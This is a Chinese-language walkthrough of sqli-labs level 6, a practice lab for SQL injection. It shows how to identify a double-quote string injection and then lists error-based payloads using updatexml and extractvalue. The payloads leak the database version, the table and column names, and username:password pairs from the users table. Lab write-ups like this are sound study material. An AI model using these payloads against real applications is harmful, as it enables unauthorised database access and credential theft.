sqli—labs第六关——双引号报错注入
一:判断输入类型
首先测试 ?id=1,?id=1',?id=1",页面回显均无变化
所以我们采用简单的布尔测试,分别测试数字型,单引号,双引号
然后发现,只有在测试到双引号注入的时候符合关键规律,其他的页面并无变化,即如下代码:
?id=1" and 1=1 --+ # 正常返回
?id=1" and 1=2 --+ # 异常返回,页面为空
得出结论:第六关为字符型,双引号闭合
二:注入攻击
1.列数
?id=1" order by 3 --+正常
?id=1" order by 4 --+报错
2,获取数据库版本
?id=1" and updatexml(1,concat(0x7e,version()),1) --+
3,获取数据库名
?id=1" and updatexml(1,concat(0x7e,database()),1) --+
4.获取数据库表名
?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())
),1) --+
5.获取数据库列名
?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columnswhere table_name='users' and table_schema=database())
),1) --+
6.提取users表数据~
?id=1"%20and%20extractvalue(1,concat(0x7e,(select%20concat(username,%27:%27,password)%20from%20users%20limit%200,1)))--+